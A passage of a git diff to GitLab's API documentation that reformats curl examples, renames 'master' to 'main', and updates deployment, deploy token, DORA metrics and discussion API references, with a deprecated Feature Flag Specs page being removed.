<your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" + curl --request DELETE --data 'name_regex_delete=.*' --data 'keep_n=5' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" ``` 1. Remove all tags, but keep always tags beginning with `stable`: ```shell - curl --request DELETE --data 'name_regex_delete=.*' --data 'name_regex_keep=stable.*' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" + curl --request DELETE --data 'name_regex_delete=.*' --data 'name_regex_keep=stable.*' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" ``` 1. Remove all tags that are older than 1 month: ```shell - curl --request DELETE --data 'name_regex_delete=.*' --data 'older_than=1month' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" + curl --request DELETE --data 'name_regex_delete=.*' --data 'older_than=1month' \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/registry/repositories/2/tags" ``` diff --git a/doc/api/custom_attributes.md b/doc/api/custom_attributes.md index a17b3b78b18..56a9f6881cd 100644 --- a/doc/api/custom_attributes.md +++ b/doc/api/custom_attributes.md @@ -90,7 +90,8 @@ PUT /projects/:id/custom_attributes/:key | `value` | string | yes | The value of the custom attribute | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "value=Greenland" "https://gitlab.example.com/api/v4/users/42/custom_attributes/location" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \ + --data "value=Greenland" "https://gitlab.example.com/api/v4/users/42/custom_attributes/location" ``` Example response: diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md index 8448edef9c5..139669c018c 100644 --- a/doc/api/dependency_proxy.md +++ b/doc/api/dependency_proxy.md @@ -11,7 +11,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11631) in GitLab 12.10. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6. -Deletes the cached manifests and blobs for a group. This endpoint requires group owner access. +Deletes the cached manifests and blobs for a group. This endpoint requires the [Owner role](../user/permissions.md) +for the group. WARNING: [A bug exists](https://gitlab.com/gitlab-org/gitlab/-/issues/277161) for this API. diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md index 30a56e6253b..3b063180900 100644 --- a/doc/api/deploy_keys.md +++ b/doc/api/deploy_keys.md @@ -124,7 +124,9 @@ POST /projects/:id/deploy_keys | `can_push` | boolean | no | Can deploy key push to the project's repository | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"title": "My deploy key", "key": "ssh-rsa AAAA...", "can_push": "true"}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"title": "My deploy key", "key": "ssh-rsa AAAA...", "can_push": "true"}' \ + "https://gitlab.example.com/api/v4/projects/5/deploy_keys/" ``` Example response: @@ -154,7 +156,8 @@ PUT /projects/:id/deploy_keys/:key_id | `can_push` | boolean | no | Can deploy key push to the project's repository | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"title": "New deploy key", "can_push": true}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/11" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"title": "New deploy key", "can_push": true}' "https://gitlab.example.com/api/v4/projects/5/deploy_keys/11" ``` Example response: @@ -238,7 +241,9 @@ With those IDs, add the same deploy key to all: ```shell for project_id in 321 456 987; do - curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"title": "my key", "key": "ssh-rsa AAAA..."}' "https://gitlab.example.com/api/v4/projects/${project_id}/deploy_keys" + curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ + --header "Content-Type: application/json" \ + --data '{"title": "my key", "key": "ssh-rsa AAAA..."}' \ + "https://gitlab.example.com/api/v4/projects/${project_id}/deploy_keys" done ``` diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md index ad144946445..d8aab8896a1 100644 --- a/doc/api/deploy_tokens.md +++ b/doc/api/deploy_tokens.md @@ -49,7 +49,8 @@ Example response: ## Project deploy tokens -Project deploy token API endpoints require project maintainer access or higher. +Project deploy token API endpoints require the [Maintainer role](../user/permissions.md) or higher +for the project. ### List project deploy tokens @@ -116,7 +117,9 @@ Parameters: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' \ + "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/" ``` Example response: @@ -156,7 +159,8 @@ Parameters: Example request: ```shell -curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/13" +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \ + "https://gitlab.example.com/api/v4/projects/5/deploy_tokens/13" ``` ## Group deploy tokens @@ -229,7 +233,9 @@ Parameters: Example request: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' "https://gitlab.example.com/api/v4/groups/5/deploy_tokens/" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"name": "My deploy token", "expires_at": "2021-01-01", "username": "custom-user", "scopes": ["read_repository"]}' \ + "https://gitlab.example.com/api/v4/groups/5/deploy_tokens/" ``` Example response: diff --git a/doc/api/deployments.md b/doc/api/deployments.md index cf224ad60ab..586f3edf51e 100644 --- a/doc/api/deployments.md +++ b/doc/api/deployments.md @@ -9,6 +9,9 @@ type: concepts, howto ## List project deployments +> The `updated_after` and `updated_before` attributes were removed and replaced + by `finished_after` and `finished_before` respectively in GitLab 14.0. + Get a list of deployments in a project. ```plaintext @@ -17,27 +20,19 @@ GET /projects/:id/deployments | Attribute | Type | Required | Description | |------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `order_by` | string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` | -| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` | -| `updated_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | -| `updated_before` | datetime | no | Return deployments updated before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | -| `environment` | string | no | The [name of the environment](../ci/environments/index.md) to filter deployments by | -| `status` | string | no | The status to filter deployments by | - -The status attribute can be one of the following values: - -- created -- running -- success -- failed -- canceled +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `order_by` | string | no | Return deployments ordered by either one of `id`, `iid`, `created_at`, `updated_at` or `ref` fields. Default is `id`. | +| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc`. | +| `finished_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). | +| `finished_before` | datetime | no | Return deployments updated before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). | +| `environment` | string | no | The [name of the environment](../ci/environments/index.md) to filter deployments by. | +| `status` | string | no | The status to filter deployments by. One of `created`, `running`, `success`, `failed`, `canceled`. ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments" ``` -Example of response +Example response: ```json [ @@ -51,16 +46,16 @@ Example of response "author_name": "Administrator", "created_at": "2016-08-11T09:36:01.000+02:00", "id": "99d03678b90d914dbb1b109132516d71a4a03ea8", - "message": "Merge branch 'new-title' into 'master'\r\n\r\nUpdate README\r\n\r\n\r\n\r\nSee merge request !1", + "message": "Merge branch 'new-title' into 'main'\r\n\r\nUpdate README\r\n\r\n\r\n\r\nSee merge request !1", "short_id": "99d03678", - "title": "Merge branch 'new-title' into 'master'\r" + "title": "Merge branch 'new-title' into 'main'\r" }, "coverage": null, "created_at": "2016-08-11T07:36:27.357Z", "finished_at": "2016-08-11T07:36:39.851Z", "id": 657, "name": "deploy", - "ref": "master", + "ref": "main", "runner": null, "stage": "deploy", "started_at": null, @@ -86,7 +81,7 @@ Example of response "pipeline": { "created_at": "2016-08-11T02:12:10.222Z", "id": 36, - "ref": "master", + "ref": "main", "sha": "99d03678b90d914dbb1b109132516d71a4a03ea8", "status": "success", "updated_at": "2016-08-11T02:12:10.222Z", @@ -100,7 +95,7 @@ Example of response }, "id": 41, "iid": 1, - "ref": "master", + "ref": "main", "sha": "99d03678b90d914dbb1b109132516d71a4a03ea8", "user": { "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", @@ -121,16 +116,16 @@ Example of response "author_name": "Administrator", "created_at": "2016-08-11T13:28:26.000+02:00", "id": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", - "message": "Merge branch 'rename-readme' into 'master'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2", + "message": "Merge branch 'rename-readme' into 'main'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2", "short_id": "a91957a8", - "title": "Merge branch 'rename-readme' into 'master'\r" + "title": "Merge branch 'rename-readme' into 'main'\r" }, "coverage": null, "created_at": "2016-08-11T11:32:24.456Z", "finished_at": "2016-08-11T11:32:35.145Z", "id": 664, "name": "deploy", - "ref": "master", + "ref": "main", "runner": null, "stage": "deploy", "started_at": null, @@ -156,7 +151,7 @@ Example of response "pipeline": { "created_at": "2016-08-11T07:43:52.143Z", "id": 37, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "status": "success", "updated_at": "2016-08-11T07:43:52.143Z", @@ -170,7 +165,7 @@ Example of response }, "id": 42, "iid": 2, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "user": { "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", @@ -199,13 +194,13 @@ GET /projects/:id/deployments/:deployment_id curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/1" ``` -Example of response +Example response: ```json { "id": 42, "iid": 2, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "created_at": "2016-08-11T11:32:35.444Z", "updated_at": "2016-08-11T11:34:01.123Z", @@ -227,7 +222,7 @@ Example of response "status": "success", "stage": "deploy", "name": "deploy", - "ref": "master", + "ref": "main", "tag": false, "coverage": null, "created_at": "2016-08-11T11:32:24.456Z", @@ -252,16 +247,16 @@ Example of response "commit": { "id": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "short_id": "a91957a8", - "title": "Merge branch 'rename-readme' into 'master'\r", + "title": "Merge branch 'rename-readme' into 'main'\r", "author_name": "Administrator", "author_email": "admin@example.com", "created_at": "2016-08-11T13:28:26.000+02:00", - "message": "Merge branch 'rename-readme' into 'master'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2" + "message": "Merge branch 'rename-readme' into 'main'\r\n\r\nRename README\r\n\r\n\r\n\r\nSee merge request !2" }, "pipeline": { "created_at": "2016-08-11T07:43:52.143Z", "id": 42, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "status": "success", "updated_at": "2016-08-11T07:43:52.143Z", @@ -280,32 +275,25 @@ POST /projects/:id/deployments | Attribute | Type | Required | Description | |---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for | -| `sha` | string | yes | The SHA of the commit that is deployed | -| `ref` | string | yes | The name of the branch or tag that is deployed | -| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) | -| `status` | string | yes | The status of the deployment | - -The status can be one of the following values: - -- created -- running -- success -- failed -- canceled +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user.| +| `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for. | +| `sha` | string | yes | The SHA of the commit that is deployed. | +| `ref` | string | yes | The name of the branch or tag that is deployed. | +| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (`true`) or not (`false`). | +| `status` | string | no | The status to filter deployments by. One of `created`, `running`, `success`, `failed`, or `canceled`. | ```shell -curl --data "environment=production&sha=a91957a858320c0e17f3a0eca7cfacbff50ea29a&ref=master&tag=false&status=success" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments" +curl --data "environment=production&sha=a91957a858320c0e17f3a0eca7cfacbff50ea29a&ref=main&tag=false&status=success" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments" ``` -Example of a response: +Example response: ```json { "id": 42, "iid": 2, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "created_at": "2016-08-11T11:32:35.444Z", "status": "success", @@ -326,7 +314,7 @@ Example of a response: } ``` -## Updating a deployment +## Update a deployment ```plaintext PUT /projects/:id/deployments/:deployment_id @@ -334,21 +322,21 @@ PUT /projects/:id/deployments/:deployment_id | Attribute | Type | Required | Description | |------------------|----------------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `deployment_id` | integer | yes | The ID of the deployment to update | -| `status` | string | yes | The new status of the deployment | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `deployment_id` | integer | yes | The ID of the deployment to update. | +| `status` | string | no | The new status of the deployment. One of `created`, `running`, `success`, `failed`, or `canceled`. | ```shell curl --request PUT --data "status=success" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42" ``` -Example of a response: +Example response: ```json { "id": 42, "iid": 2, - "ref": "master", + "ref": "main", "sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a", "created_at": "2016-08-11T11:32:35.444Z", "status": "success", @@ -382,5 +370,5 @@ GET /projects/:id/deployments/:deployment_id/merge_requests It supports the same parameters as the [Merge Requests API](merge_requests.md#list-merge-requests) and returns a response using the same format: ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/deployments/42/merge_requests" ``` diff --git a/doc/api/discussions.md b/doc/api/discussions.md index 3d40349ecca..d8d989adfe2 100644 --- a/doc/api/discussions.md +++ b/doc/api/discussions.md @@ -156,7 +156,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions?body=comment" @@ -167,7 +167,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla Adds a new note to the thread. This can also [create a thread from a single comment](../user/discussions/#start-a-thread-by-replying-to-a-standard-comment). **WARNING** -Notes can be added to other items than comments (system notes, etc.) making them threads. +Notes can be added to other items than comments, such as system notes, making them threads. ```plaintext POST /projects/:id/issues/:issue_iid/discussions/:discussion_id/notes @@ -182,7 +182,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -365,7 +365,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `body` | string | yes | The content of a discussion | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions?body=comment" @@ -388,7 +388,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -572,7 +572,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions?body=comment" @@ -596,7 +596,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -847,7 +847,7 @@ Parameters for all comments: | `merge_request_iid` | integer | yes | The IID of a merge request | | `body` | string | yes | The content of the thread | | `commit_id` | string | no | SHA referencing commit to start this thread on | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | | `position` | hash | no | Position when creating a diff note | | `position[base_sha]` | string | yes | Base commit SHA in the source branch | | `position[start_sha]` | string | yes | SHA referencing commit in target branch | @@ -902,7 +902,7 @@ To create a new thread: "previous versions are here" ] ``` - + 1. Create a new diff thread. This example creates a thread on an added line: ```shell @@ -981,7 +981,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -1216,7 +1216,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `commit_id` | integer | yes | The ID of a commit | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | | `position` | hash | no | Position when creating a diff note | | `position[base_sha]` | string | yes | Base commit SHA in the source branch | | `position[start_sha]` | string | yes | SHA referencing commit in target branch | @@ -1252,7 +1252,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, such `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/commits/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md index 31e6fee66ca..99826550b61 100644 --- a/doc/api/dora/metrics.md +++ b/doc/api/dora/metrics.md @@ -7,7 +7,8 @@ type: reference, api # DevOps Research and Assessment (DORA) key metrics API **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10. +> - The legacy key/value pair `{ "<date>" => "<value>" }` was removed from the payload in GitLab 14.0. All methods require [reporter permissions and above](../../user/permissions.md). @@ -38,14 +39,14 @@ Example response: ```json [ - { "2021-03-01": 3, "date": "2021-03-01", "value": 3 }, - { "2021-03-02": 6, "date": "2021-03-02", "value": 6 }, - { "2021-03-03": 0, "date": "2021-03-03", "value": 0 }, - { "2021-03-04": 0, "date": "2021-03-04", "value": 0 }, - { "2021-03-05": 0, "date": "2021-03-05", "value": 0 }, - { "2021-03-06": 0, "date": "2021-03-06", "value": 0 }, - { "2021-03-07": 0, "date": "2021-03-07", "value": 0 }, - { "2021-03-08": 4, "date": "2021-03-08", "value": 4 } + { "date": "2021-03-01", "value": 3 }, + { "date": "2021-03-02", "value": 6 }, + { "date": "2021-03-03", "value": 0 }, + { "date": "2021-03-04", "value": 0 }, + { "date": "2021-03-05", "value": 0 }, + { "date": "2021-03-06", "value": 0 }, + { "date": "2021-03-07", "value": 0 }, + { "date": "2021-03-08", "value": 4 } ] ``` @@ -78,14 +79,14 @@ Example response: ```json [ - { "2021-03-01": 3, "date": "2021-03-01", "value": 3 }, - { "2021-03-02": 6, "date": "2021-03-02", "value": 6 }, - { "2021-03-03": 0, "date": "2021-03-03", "value": 0 }, - { "2021-03-04": 0, "date": "2021-03-04", "value": 0 }, - { "2021-03-05": 0, "date": "2021-03-05", "value": 0 }, - { "2021-03-06": 0, "date": "2021-03-06", "value": 0 }, - { "2021-03-07": 0, "date": "2021-03-07", "value": 0 }, - { "2021-03-08": 4, "date": "2021-03-08", "value": 4 } + { "date": "2021-03-01", "value": 3 }, + { "date": "2021-03-02", "value": 6 }, + { "date": "2021-03-03", "value": 0 }, + { "date": "2021-03-04", "value": 0 }, + { "date": "2021-03-05", "value": 0 }, + { "date": "2021-03-06", "value": 0 }, + { "date": "2021-03-07", "value": 0 }, + { "date": "2021-03-08", "value": 4 } ] ``` diff --git a/doc/api/dora4_group_analytics.md b/doc/api/dora4_group_analytics.md index 743dcf728a2..501bf824f03 100644 --- a/doc/api/dora4_group_analytics.md +++ b/doc/api/dora4_group_analytics.md @@ -1,5 +1,6 @@ --- redirect_to: 'dora/metrics.md' +remove_date: '2021-07-25' --- This document was moved to [another location](dora/metrics.md). diff --git a/doc/api/environments.md b/doc/api/environments.md index 7340fe9f9e9..4c93b3b15d5 100644 --- a/doc/api/environments.md +++ b/doc/api/environments.md @@ -164,7 +164,8 @@ POST /projects/:id/environments | `external_url` | string | no | Place to link to for this environment | ```shell -curl --data "name=deploy&external_url=https://deploy.gitlab.example.com" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments" +curl --data "name=deploy&external_url=https://deploy.gitlab.example.com" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments" ``` Example response: @@ -197,7 +198,8 @@ PUT /projects/:id/environments/:environments_id | `external_url` | string | no | The new `external_url` | ```shell -curl --request PUT --data "name=staging&external_url=https://staging.gitlab.example.com" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1" +curl --request PUT --data "name=staging&external_url=https://staging.gitlab.example.com" \ + --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/environments/1" ``` Example response: diff --git a/doc/api/feature_flag_specs.md b/doc/api/feature_flag_specs.md index 45db47f5ffe..33e454d50c4 100644 --- a/doc/api/feature_flag_specs.md +++ b/doc/api/feature_flag_specs.md @@ -8,293 +8,5 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. -WARNING: -This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). - -The API for creating, updating, reading and deleting Feature Flag Specs. -Automation engineers benefit from this API by being able to modify Feature Flag Specs without accessing user interface. -To manage the [Feature Flag](../operations/feature_flags.md) resources via public API, please refer to the [Feature Flags API](feature_flags.md) document. - -Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag Specs API. - -## List all effective feature flag specs under the specified environment - -Get all effective feature flag specs under the specified [environment](../ci/environments/index.md). - -For instance, there are two specs, `staging` and `production`, for a feature flag. -When you pass `production` as a parameter to this endpoint, the system returns -the `production` feature flag spec only. - -```plaintext -GET /projects/:id/feature_flag_scopes -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `environment` | string | yes | The [environment](../ci/environments/index.md) name | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flag_scopes?environment=production" -``` - -Example response: - -```json -[ - { - "id": 88, - "active": true, - "environment_scope": "production", - "strategies": [ - { - "name": "userWithId", - "parameters": { - "userIds": "1,2,3" - } - } - ], - "created_at": "2019-11-04T08:36:41.327Z", - "updated_at": "2019-11-04T08:36:41.327Z", - "name": "awesome_feature" - }, - { - "id": 82, - "active": true, - "environment_scope": "*", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:51.425Z", - "updated_at": "2019-11-04T08:39:45.751Z", - "name": "merge_train" - }, - { - "id": 81, - "active": false, - "environment_scope": "production", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.527Z", - "updated_at": "2019-11-04T08:13:10.527Z", - "name": "new_live_trace" - } -] -``` - -## List all specs of a feature flag - -Get all specs of a feature flag. - -```plaintext -GET /projects/:id/feature_flags/:name/scopes -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes" -``` - -Example response: - -```json -[ - { - "id": 79, - "active": false, - "environment_scope": "*", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.516Z", - "updated_at": "2019-11-04T08:13:10.516Z" - }, - { - "id": 80, - "active": true, - "environment_scope": "staging", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.525Z", - "updated_at": "2019-11-04T08:13:10.525Z" - }, - { - "id": 81, - "active": false, - "environment_scope": "production", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.527Z", - 